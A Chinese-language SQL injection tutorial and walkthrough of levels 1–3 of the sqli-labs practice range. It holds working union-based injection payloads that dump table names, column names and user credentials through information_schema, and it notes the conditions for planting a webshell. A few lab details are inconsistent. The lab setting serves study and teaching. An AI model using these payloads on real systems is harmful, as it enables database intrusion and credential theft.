1. 靶场平台
SQL注入靶场平台使用的是sqli。它是一个针对SQL注入的专项联系平台。搭建和安装比较简单,可以自习查询相关教程。
2. SQL注入概括
- SQL注入原理:
SQL注入就是指Web应用程序对用户输入数据的合法性没有做校验或校验被绕过,导致前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的 SQL 语句来实现对数据库的任意操作。
必要条件:1.带入执行的参数能够可控。2.拼接的SQL语句能够带入数据库中,并执行。 - SQL注入类型:
分为字符型和数字型,判断方式有多种,比如可以利用数字型的方式下对传入的算术表达式进行计算的特征进行判断,比如传递参数?id=1和?id=2-1如果返回的是同一个页面信息,则判断为数字型,否则为字符型。当然也可以用单引号(‘)等特殊字符的方式去判断。 - 如何寻找注入点
对于常规的sql注入一般都是在判断为注入类型后,尝试去寻找注入点,寻找注入点可以采用参数后跟特殊字符,比如:单引号(‘)、双引号(“)、小括号、单引号+括号、双引号+括号等方式,通过给出的回显错误信息反推该SQL查询语句的闭合标识。然后通过拼接order by语句判断字段数,完成sql注入。 - SQL注入的利用手法:
SQL注入的方式有很多种,比如常见的联合查询sql注入,报错sql注入,布尔盲注、延时注入等手法。对于有错误回显特征页面的可以首先采取联合查询sql注入,如果这个手法失效即考虑报错sql注入。
对于没有错误回显特征的页面考虑使用布尔盲注和延时注入等方式。 - sql注入想要获取服务器的webshell需要哪些条件?
首要条件是服务器得有写入的操作权限;其次是找到服务器搭载网页服务根目录的绝对路径,它决定了上传的shell脚本将落地在哪里;再者mysq.ini配置文件中得有secure-file-priv=语句存在。
3.靶场实操
第一关
- 首先判断注入类型,当输入
?id=1
传入参数时正常显示第一个页面。
而当输入?id=3-2
的时候,显示的是第3个页面,这说明它没有进行算术运算,所以他应该是以字符串的形式接受的参数,所以基本判断为字符型注入。当然也可以通过特殊字符的方式判断。
- 判断注入点:当传入参数为
?id=1’
时报错,并且给出了报错的位置,而传入参数?id=1
则正常,这可能是由于输入的1'
与前面的定义好的'
完成了闭合,说白了就是它俩成了一对,而导致1后面的`'``成了多余而报错,所以基本判断 这个单引号就是他的注入点,也就是说能让他完成闭合,从而实现能拼接其他语句执行的条件。
- 尝试闭合,拼接语句查询有列字段。
?id=1’ order by 3 与 ?id=1’ order by 4
当?id=1’ order by 4 的时候报错,所以判断有3个字段。
知道了字段数,下面用联合查询的方式就可以获取数据库的名称等信息。
取非法值让前面的查询语句不显示而显示后面联合查询的语句。
可以判断出他的回显位位2,3这连个位置,所以可以在这两个位置上利用SQL注入的漏洞回显想要的信息。
database()是数据库内置的函数,用于获取当前数据库的名称。
知道了数据库名称,即可查询该数据库中存在的数据表信息。
?id=15' union select 1,2,group_concat(table_name) from information_schema.tables --+
这里说明一下,group—concat()函数是一个聚合函数他的作用就是将指定列的所有行合并成一个字符串,并用指定的分隔符拼接起来。我们在这查询的是所有的表名。这里注意到一个information_schema.tables
这是一个内置库,它里面有很多的表,这些不同的表存放着不同的信息,比如有存放所有表名的tables表,有存放所有字段名的columns表等等。这里查询的是该库下的tables表,后面的--+
这是注释符,为了防止后面的语句对执行的效果造成影响。后面几关涉及到的与这里描述基本一致,所以后续不赘述。
查询user表中的字段信息
?id=15' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+
第二关
- 首先判断注入类型,当输入?id=1时正常显示第一个页面。
当输入?id=3-2的时候,显示的也是第1个页面,这说明它对传入的参数进行算术运算,所以基本判断为数字型注入。
- 判断注入点
因为这一关是一个简单的数字型注入,所以当你输入一个数字的时候,他就接受了这数字并闭合了,这样就可以拼接其他的SQL语句了。 - 判断字段数,查询数据信息。
输入?id=1 order by 3
与?id=1 order by 4
判断字段数。
当输入?id=1 order by 4
出错,说明他的字段数为3,所以就可以联合查询数据了。
取非法值让前面的查询语句不显示而显示后面联合查询的语句。
查询数据库中的表信息
?id=15 union select 1,2,group_concat(table_name) from information_schema.tables --+
查询表中的字段信息
?id=15 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+
查询字段username,password的详细数据
?id=15 union select 1,2,group_concat(username) from users --+
第三关:
- 首先判断注入类型,当输入
?id=1
时正常显示第一个页面
当输入?id=2-1
时正常显示第2个页面,判断为字符型注入。
- 下面判断注入点:当输入
?id=1’
时页面报错显示
当输入?id=1’)
时页面正常显示,说明注入点在 ’)处。
- 下面开始查询它有多少字段(列)
输入?id=1') order by 3 --+
正常显示
输入?id=1') order by 4 --+
报错显示,说明他有3列字段
知道了字段数,就可以使用联合查询的方式查询数据了。取非法值让前面的查询语句不显示而显示后面联合查询的语句。
查询存在的数据表信息
?id=15') union select 1,2,group_concat(table_name) from information_schema.tables --+
查询数据表的字段
?id=15') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="user" --+